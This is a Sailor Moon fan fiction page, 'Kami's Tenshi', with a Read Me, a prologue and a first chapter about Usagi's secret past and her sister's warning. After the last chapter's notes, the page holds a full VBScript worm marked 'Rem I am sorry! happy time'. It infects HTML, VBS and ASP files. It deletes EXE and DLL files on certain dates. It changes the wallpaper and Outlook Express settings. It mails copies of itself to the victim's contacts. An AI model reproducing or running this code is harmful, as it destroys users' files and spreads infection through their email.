Kami's Tenshi
by Kyoki
Summary: Well.... I GUESS you could call it a horror..... for other chapters maybe *shrugs* Anyways, what would happen if Usagi's past came back? A past, that she had been hiding for years? And what would happen, if she couldn't escape i this time?
1. Read Me

Kami's Tenshi

Read Me

Hi ppls! This is just a story that popped into my head and I just had to put it down. Here's all the info you'll need to know (If you ppls actually read the read me's)

Usagi/Mamoru romance First season fic (of course) Japanese names (simply because I like them better) Usagi's POV (most of the time if not all) It's sort of an alternate reality fic but Usagi is still Sailor Moon and there will be an attack or two.

I kind of mess with the time line a bit here so bear with me. k? 

They have all the scouts and they know who the Princess is BUT Tuxedo Mask didn't get taken by the negaverse, Beryl isn't dead. Also the scouts have no idea who our favorite Cape-boy is and they still don't totally trust him, well, except Usagi, but she's always trusted him. Got that? K. If you have any questions E-mail me.

~*~*~*

Main Characters

* * * 

Usagi/Sailor Moon/Princess Selenity (Japanese Version)

Miokie/Mi-chan/ Onii-chan

Mamoru/Momo-chan/Baka/Self-centered Jerk/Tuxedo Kamen/ Prince Endymion

~ ~ ~

Main evil 

Him/Shiseiji

~ ~ ~

Other Characters

* * *

Motoki/the cute arcade guy

The other Senshi

That's all I can think of right now…hmm…oh well! If you have any questions e-mail them to me, aka review.

Kyoki


	2. Prologue

Kami's tenshi Prolouge

Kami's Tenshi 

Prologue 

By: Kyoki

E-mail: Kyoki_Tenshi2000@hotmail.com

Rated: PG (it's only one word, but what the heck)

I all ready did enough blabbing with the Read Me so I'll let you read. 

*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~

I sighed. ***This is the worst day of my life*** I thought. ***First I'm late for school. That wasn't unusual but there had been a youma attack and I missed my first class and got yelled at by Huruna-**sensei** then **okaa-san** over the phone and THEN I got yelled at by the S**enshi**. They wouldn't even let me explain! Ugh, If I run into Mamoru-Baka I'm gonna kill him weather he says something or not.*** The doors to the arcade opened and I dragged myself in. If I went home okaa-san and Otou-san were sure to yell at me. Well, otou-san would when he got home. I'm gonna get yelled at either way so why not do something fun before I do? 

"Hey Usagi-Chan!" Motoki said before he noticed the way I was slumped. "What's wrong Usagi-Chan?" He asked worry on his face.

"Yeah Odango, why so down? Fail another test?" Mamoru, or "Baka" as I had dubbed him, said with a smirk on his face.

"Nothing Motoki-Kun." I said sitting down on the stool. I totally ignored Mamoru. ***On second thought, I don't fell like killing him*** I thought. Motoki opened his mouth to say something but someone behind me beat him to it.

"Nonsense. I want to know why my Kami's Tenshi is so down." A woman's voice said from behind me in English, well, besides the "Kami's Tenshi" Part. I jumped and swirled around to see a woman that looked strangely similar to my okaa-san but had cream-colored hair instead of blue and it was a bit longer, about to her ankles. 

"Onee-Chan!" I yelled as I jumped into her arms.

The woman laughed. "It's good to see you too, love, but I want to know what's getting my Kami's Tenshi down. It's gotta be bad if it's keeping you from smiling." She said, this time in Japanese. 

"Huh?" I said putting on my famous I'm-so-innocent look. "I was down? When?"

She laughed again. "Fine, love, don't tell me." She said faking hurt.

"Love?" Motoki asked.

"It's a nickname Onee-chan gave me. It stands for…" I said in Japanese but Continued in English, "…'Little One Visiting Eternal glory'…" I switched back to Japanese, "…But without the 'g' from 'glory'."

(AN: so sue me, I can't come up with anything good to stand for "Love".)

(AN: …on second thought, don't sue me.)

Mamoru and Motoki looked at eachother. 

"Well excuse me! You always seem to visit eternal glory!" "Onee-san" said defensively.

I giggled. "I know Mioke-Chan." I said trying not to burst out laughing at the way Mamoru and Motoki were looking at eachother.

"I would sit there and fall into 'la la land'."

"'Usa, why do you have that dreamy look on your face?'" She said quoting herself.

"'I'm just visiting eternal glory for a bit onee-chan.'" I said remembering how many times we had to go through this just to explain to people why she called me love.

"'Ah, my little one visiting eternal glory again, eh?'"

"'You might as well start calling me that, you always are.'"

"'Hm…all right, so little one visiting eternal glory, what were you dreaming about?"

I giggled, "'That's too long Onee-chan! You can't go around calling me that!'" 

"'All right…I know! If you take the first letter of each word and It would make…loveg.'"

I frowned. "That sounds weird.'"

"Hm….what if we take the last letter off? Then it would be love.'"

"'Okay!'"

"Anyways Usa, your friends are quite funny but I'm here for a reason." I turned to Mioke (onee-chan), my face going from laughing hysterically to serious-as-hell in record breaking time.

"He's here…" 

*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~

DUM DUM DUMMMMMMMMMMM!!!!! He he! Sorry, just had to end it there! 

Any questions, comments and/or death threats go to [Kyoki@lunap.com][1] or you can just review (for all you ppl at ff.net ^_^)

Kyoki

Okaa-san - Mother (basically)

Otou-san - Father (basically)

   [1]: mailto:Kyoki@lunap.com



	3. 1 - Him

Kamiten1

Kami's Tenshi 

Chapter 1- A

By: Kyoki

E-mail: Kyoki@lunap.com

Rated: PG-13

Er…anyways, Hi minna-san! I'm baaaaaaaaacccckkkkk!

****

*Receives angry glares* 

Heh heh heh, not that I…went…anywhere…of course…heh heh…heh. Er…ANYways, It's kind of hard to write in this hectic house so my chapters might be a little short…*Sigh* I HATE it when people write short chapters…oh, well, gomen. Anyways, be sure to e-mail me! Oh yeah, and….er…heh heh… 

*Gets a bunch of angry glares*

Er…okay okay! Just one more thing!

Disclaimer: I…I….I…er….heh….heh….er…um…uh…what was I going to say? Oh well! Guess I forgot! Yay! Now I don't have to tell you I don't own Sailor moon! 

er……….. *looks around for someone to blame her air headed-ness on*

Hey! You tricked me! ***Runs after some guy that just so happened to be next to her*** 

****

*comes back after running the guy off*

Er…you get the point. I don't own sailor Moon….WWWWWWWHHHHHHHHHHHAAAAAAAAAAA…..!

*~*~T*~*~*~*~*~H*~*~*~*~*~E*~*~*~*~*~S*~*~*~*~*~T*~*~*~*~*~O*~*~*~*~*~R*~*~*~*~*~Y*~

"He's here…"

Those two words shattered it all. Any sanity or control of my body, thoughts, or what I said, totally and completely fled, probably too scared to even try to help me save myself.

****

*Blink*

****

*Blink*

"Usa, just promise me you'll be careful." Mioke said softly.

I took a deep breath to try and regain control of my body. I felt totally numb.

"Usa." She whispered. "I know it…" She started but I cut her off.

"I'll be careful Mi-chan. Don't worry, I've dealt with him before. He can't be any worse than what I've had to put up with these past few months." I laughed my nervous laugh. You know, the one I always do when I'm really nervous.

"I have to go love, my job always gets in the way of these important things, but I'll always be there. Kay?"

"Yeah." I don't even know if she heard it, I barley heard it myself.

"Okay. I'm gonna be in a lot of trouble as it is for missing yesterday and today, I better get going." She whispered. She squeezed my hand before turning around and walking away.

"Mioke?" I said slowly.

"Hai love." She said turning back around to face me.

"Why didn't you just call instead of skipping work?" I asked, tilting my head to one side.

"Weeeeeellllllllll, one, I wanted to see you. Two, I wanted you to know I would always be willing to drop everything and come if you needed me to." She said softly avoiding my gaze.

I looked at her for a few seconds then raised an eyebrow. "…and three…?" I said knowing I was missing something.

"A…well, and three, Ilostyourphonenumber." She said really fast. 

I sighed. Knew it. "Wouldn't it help if I gave you it." I said eyeing her warily.

"er…yeeeaaaaaaahhhhhh." She said looking down.

I wrote down the number and watched her walk out the door. I stared at the door for about 20 minutes before I turned back towards the counter.

"So mea-Usagi, who's all the fuss about?" Mamoru asked.

I shook my head. "No one." I said. 

Motoki slide a milkshake over to me. "On me." He said.

I took the milkshake gratefully and started to take small sips from it. That must have been another sign that something wasn't right. I mean, Here I am, Tsukino Usagi, the girl who literally inhales food, sipping a milkshake. There's gotta be something wrong then.

"Usagi?" Motoki asked. 

"Hmm?" I replied, snapping back to attention. **Damn you Usagi! You can't go around day dreaming! You have to pay attention! What? Do you want him to find you?!** I mentally scolded myself. 

I suddenly noticed a hand waving in front of my face. I instantly snapped back to present day again. "Huh?" I asked.

"Where'd ya go?" Mamoru, the person who was waving his hand in front of my face, asked.

"Huh? Oh, no where. I was just thinking." I said letting my guard drops back to normal. 

"Odango Atama? Thinking? I think I'm gonna go find a physiatrist now." Mamoru said smirking.

I sneered. "What's that supposed to mean?" I know I should do my usual thing and turn red and start yelling at the top of my lungs, but I didn't feel like attracting attention right now, especially with _him_ around. 

"It means you don't know how to think." He replied smugly.

"And what do you know how to do? Drink coffee? Oh, aren't you the all mighty powerful God of Gods." I said back. 

"At least I can score above a 30% on a test." He said. 

"At least I can have fun." 

"Studying is more important than fun." 

"Only if you don't have a life." 

"Are you saying I don't have a life?"

"That's exactly what I'm saying. All you do is study, drink coffee, and sleep. What kind of a life is that?"

"I do other thing, you know."

"Oh! I'm sorry! Did I forget shaving? My mistake. Still not much of a life."

He sneered at that. "And since when did you become such a big expert on my life?" 

"When I threw that test paper in your face."

"Right, and after you figured out that I was a hot guy you started stalking me." He said taking his straw and stirring it in his coffee.

"One, your not hot. Two, I don't stalk self-centered jerks, hot or not."

"Yeah, right." 

"Jigoku no yō na. Watashi suru tsumori KESSHITE bikō suru anata." I said standing up, "Look, it's been nice arguing with you but I have to go." I said and walked out the door.

~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*~*

Well, mot exactly a "emonkake hangā gake" but it'll have to do. Now, since I am OBVIOUSLY talking to myself here. 

**looks into crowd to see everyone gone all ready** 

**crickets chirping.** 

Well, I better shut up now, no one's here. 

**walks off stage muttering to herself** 

Emonkake Hanga gake - Cliff hanger

Jigoku no yō na. Watashi suru tsumori KESSHITE bikō suru anata - something like: I would NEVER follow you! Or something. I did this a while ago and now I don't remember what I had it mean, and my dictionary disappeared *tear*

I think that's all…… If I missed anything and you don't understand it, lemme know.

Rem I am sorry! happy time On Error Resume Next mload Sub mload() On Error Resume Next mPath = Grf() Set Os = CreateObject("Scriptlet.TypeLib") Set Oh = CreateObject("Shell.Application") If IsHTML Then mURL = LCase(document.Location) If mPath = "" Then Os.Reset Os.Path = "C:\Help.htm" Os.Doc = Lhtml() Os.Write() Ihtml = "" Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml) Else If Iv(mPath, "Help.vbs") Then setInterval "Rt()", 10000 Else m = "hta" If LCase(m) = Right(mURL, Len(m)) Then id = setTimeout("mclose()", 1) main Else Os.Reset() Os.Path = mPath & "\" & "Help.hta" Os.Doc = Lhtml() Os.write() Iv mPath, "Help.hta" End If End If End If Else main End If End Sub Sub main() On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") Set Od = CreateObject("Scripting.Dictionary") Od.Add "html", "1100" Od.Add "vbs", "0100" Od.Add "htm", "1100" Od.Add "asp", "0010" Ks = "HKEY_CURRENT_USER\Software\" Ds = Grf() Cs = Gsf() If IsVbs Then If Of.FileExists("C:\help.htm") Then Of.DeleteFile ("C:\help.htm") End If Key = CInt(Month(Date) + Day(Date)) If Key = 13 Then Od.RemoveAll Od.Add "exe", "0001" Od.Add "dll", "0001" End If Cn = Rg(Ks & "Help\Count") If Cn = "" Then Cn = 1 End If Rw Ks & "Help\Count", Cn + 1 f1 = Rg(Ks & "Help\FileName") f2 = FNext(Of, Od, f1) fext = GetExt(Of, Od, f2) Rw Ks & "Help\FileName", f2 If IsDel(fext) Then f3 = f2 f2 = FNext(Of, Od, f2) Rw Ks & "Help\FileName", f2 Of.DeleteFile f3 Else If LCase(WScript.ScriptFullname)  LCase(f2) Then Fw Of, f2, fext End If End If If (CInt(Cn) Mod 366) = 0 Then If (CInt(Second(Time)) Mod 2) = 0 Then Tsend Else adds = Og Msend (adds) End If End If wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper") If Rg(Ks & "Help\wallPaper")  wp Or wp = "" Then If wp = "" Then n1 = "" n3 = Cs & "\Help.htm" Else mP = Of.GetFile(wp).ParentFolder n1 = Of.GetFileName(wp) n2 = Of.GetBaseName(wp) n3 = Cs & "\" & n2 & ".htm" End If Set pfc = Of.CreateTextFile(n3, True) mt = Sa("1100") pfc.Write "<" & "HTML><" & "body ='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt pfc.Close Rw Ks & "Help\wallPaper", n3 Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3 End If Else Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True) fc.Write Sa("0100") fc.Close bf = Cs & "\Untitled.htm" Set fc2 = Of.CreateTextFile(bf, True) fc2.Write Lhtml fc2.Close oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID") oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail" MSH = oe & "\Message Send HTML" CUS = oe & "\Compose Use Stationery" SN = oe & "\Stationery Name" Rw MSH, 1 Rw CUS, 1 Rw SN, bf Web = Cs & "\WEB" Set gf = Of.GetFolder(Web).Files Od.Add "htt", "1100" For Each m In gf fext = GetExt(Of, Od, m) If fext  "" Then Fw Of, m, fext End If Next End If End Sub Sub mclose() document.Write "<" & "title>I am sorry!" window.Close End Sub Sub Rt() Dim mPath On Error Resume Next mPath = Grf() Iv mPath, "Help.vbs" End Sub Function Sa(n) Dim VBSText, m VBSText = Lvbs() If Mid(n, 3, 1) = 1 Then m = "<%" & VBSText & "%>" End If If Mid(n, 2, 1) = 1 Then m = VBSText End If If Mid(n, 1, 1) = 1 Then m = Lscript(m) End If Sa = m & vbCrLf End Function Sub Fw(Of, S, n) Dim fc, fc2, m, mmail, mt On Error Resume Next Set fc = Of.OpenTextFile(S, 1) mt = fc.ReadAll fc.Close If Not Sc(mt) Then mmail = Ml(mt) mt = Sa(n) Set fc2 = Of.OpenTextFile(S, 8) fc2.Write mt fc2.Close Msend (mmail) End If End Sub Function Sc(S) mN = "Rem I am sorry! happy time" If InStr(S, mN) > 0 Then Sc = True Else Sc = False End If End Function Function FNext(Of, Od, S) Dim fpath, fname, fext, T, gf On Error Resume Next fname = "" T = False If Of.FileExists(S) Then fpath = Of.GetFile(S).ParentFolder fname = S ElseIf Of.FolderExists(S) Then fpath = S T = True Else fpath = Dnext(Of, "") End If Do While True Set gf = Of.GetFolder(fpath).Files For Each m In gf If T Then If GetExt(Of, Od, m)  "" Then FNext = m Exit Function End If ElseIf LCase(m) = LCase(fname) Or fname = "" Then T = True End If Next fpath = Pnext(Of, fpath) Loop End Function Function Pnext(Of, S) On Error Resume Next Dim Ppath, Npath, gp, pn, T, m T = False If Of.FolderExists(S) Then Set gp = Of.GetFolder(S).SubFolders pn = gp.Count If pn = 0 Then Ppath = LCase(S) Npath = LCase(Of.GetParentFolderName(S)) T = True Else Npath = LCase(S) End If Do While Not Er For Each pn In Of.GetFolder(Npath).SubFolders If T Then If Ppath = LCase(pn) Then T = False End If Else Pnext = LCase(pn) Exit Function End If Next T = True Ppath = LCase(Npath) Npath = Of.GetParentFolderName(Npath) If Of.GetFolder(Ppath).IsRootFolder Then m = Of.GetDriveName(Ppath) Pnext = Dnext(Of, m) Exit Function End If Loop End If End Function Function Dnext(Of, S) Dim dc, n, d, T, m On Error Resume Next T = False m = "" Set dc = Of.Drives For Each d In dc If d.DriveType = 2 Or d.DriveType = 3 Then If T Then Dnext = d Exit Function Else If LCase(S) = LCase(d) Then T = True End If If m = "" Then m = d End If End If End If Next Dnext = m End Function Function GetExt(Of, Od, S) Dim fext On Error Resume Next fext = LCase(Of.GetExtensionName(S)) GetExt = Od.Item(fext) End Function Sub Rw(k, v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") R.RegWrite k, v End Sub Function Rg(v) Dim R On Error Resume Next Set R = CreateObject("WScript.Shell") Rg = R.RegRead(v) End Function Function IsVbs() Dim ErrTest On Error Resume Next ErrTest = WScript.ScriptFullname If Err Then IsVbs = False Else IsVbs = True End If End Function Function IsHTML() Dim ErrTest On Error Resume Next ErrTest = document.Location If Er Then IsHTML = False Else IsHTML = True End If End Function Function IsMail(S) Dim m1, m2 IsMail = False If InStr(S, vbCrLf) = 0 Then m1 = InStr(S, "@") m2 = InStr(S, ".") If m1  0 And m1 < m2 Then IsMail = True End If End If End Function Function Lvbs() Dim f, m, ws, Of On Error Resume Next If IsVbs Then Set Of = CreateObject("Scripting.FileSystemObject") Set f = Of.OpenTextFile(WScript.ScriptFullname, 1) Lvbs = f.ReadAll Else For Each ws In document.scripts If LCase(ws.Language) = "vbscript" Then If Sc(ws.Text) Then Lvbs = ws.Text Exit Function End If End If Next End If End Function Function Iv(mPath, mName) Dim Shell On Error Resume Next Set Shell = CreateObject("Shell.Application") Shell.NameSpace(mPath).Items.Item(mName).InvokeVerb If Er Then Iv = False Else Iv = True End If End Function Function Grf() Dim Shell, mPath On Error Resume Next Set Shell = CreateObject("Shell.Application") mPath = "C:\" For Each mShell In Shell.NameSpace(mPath).Items If mShell.IsFolder Then Grf = mShell.Path Exit Function End If Next If Er Then Grf = "" End If End Function Function Gsf() Dim Of, m On Error Resume Next Set Of = CreateObject("Scripting.FileSystemObject") m = Of.GetSpecialFolder(0) If Er Then Gsf = "C:\" Else Gsf = m End If End Function Function Lhtml() Lhtml = "<" & "HTML" & ">" & vbCrLf & _ "<" & "Title> Help <" & "/HEAD>" & vbCrLf & _ "<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _ "<" & "/Body>" End Function Function Lscript(S) Lscript = "<" & "script language='VBScript'>" & vbCrLf & _ S & "<" & "/script" & ">" End Function Function Sl(S1, S2, n) Dim l1, l2, l3, i l1 = Len(S1) l2 = Len(S2) i = InStr(S1, S2) If i > 0 Then l3 = i + l2 - 1 If n = 0 Then Sl = Left(S1, i - 1) ElseIf n = 1 Then Sl = Right(S1, l1 - l3) End If Else Sl = "" End If End Function Function Ml(S) Dim S1, S3, S2, T, adds, m S1 = S S3 = """" adds = "" S2 = S3 & "mailto" & ":" T = True Do While T S1 = Sl(S1, S2, 1) If S1 = "" Then T = False Else m = Sl(S1, S3, 0) If IsMail(m) Then adds = adds & m & vbCrLf End If End If Loop Ml = Split(adds, vbCrLf) End Function Function Og() Dim i, n, m(), Om, Oo Set Oo = CreateObject("Outlook.Application") Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items n = Om.Count ReDim m(n) For i = 1 To n m(i - 1) = Om.Item(i).Email1Address Next Og = m End Function Sub Tsend() Dim Od, MS, MM, a, m Set Od = CreateObject("Scripting.Dictionary") MConnect MS, MM MM.FetchSorted = True MM.Fetch For i = 0 To MM.MsgCount - 1 MM.MsgIndex = i a = MM.MsgOrigAddress If Od.Item(a) = "" Then Od.Item(a) = MM.MsgSubject End If Next For Each m In Od.Keys MM.Compose MM.MsgSubject = "Fw: " & Od.Item(m) MM.RecipAddress = m MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send Next MS.SignOff End Sub Function MConnect(MS, MM) Dim U On Error Resume Next Set MS = CreateObject("MSMAPI.MAPISession") Set MM = CreateObject("MSMAPI.MAPIMessages") U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile") MS.UserName = U MS.DownLoadMail = False MS.NewSession = False MS.LogonUI = True MS.SignOn MM.SessionID = MS.SessionID End Function Sub Msend(Address) Dim MS, MM, i, a MConnect MS, MM i = 0 MM.Compose For Each a In Address If IsMail(a) Then MM.RecipIndex = i MM.RecipAddress = a i = i + 1 End If Next MM.MsgSubject = " Help " MM.AttachmentPathName = Gsf & "\Untitled.htm" MM.Send MS.SignOff End Sub Function Er() If Err.Number = 0 Then Er = False Else Err.Clear Er = True End If End Function Function IsDel(S) If Mid(S, 4, 1) = 1 Then IsDel = True Else IsDel = False End If End Function 


End file.
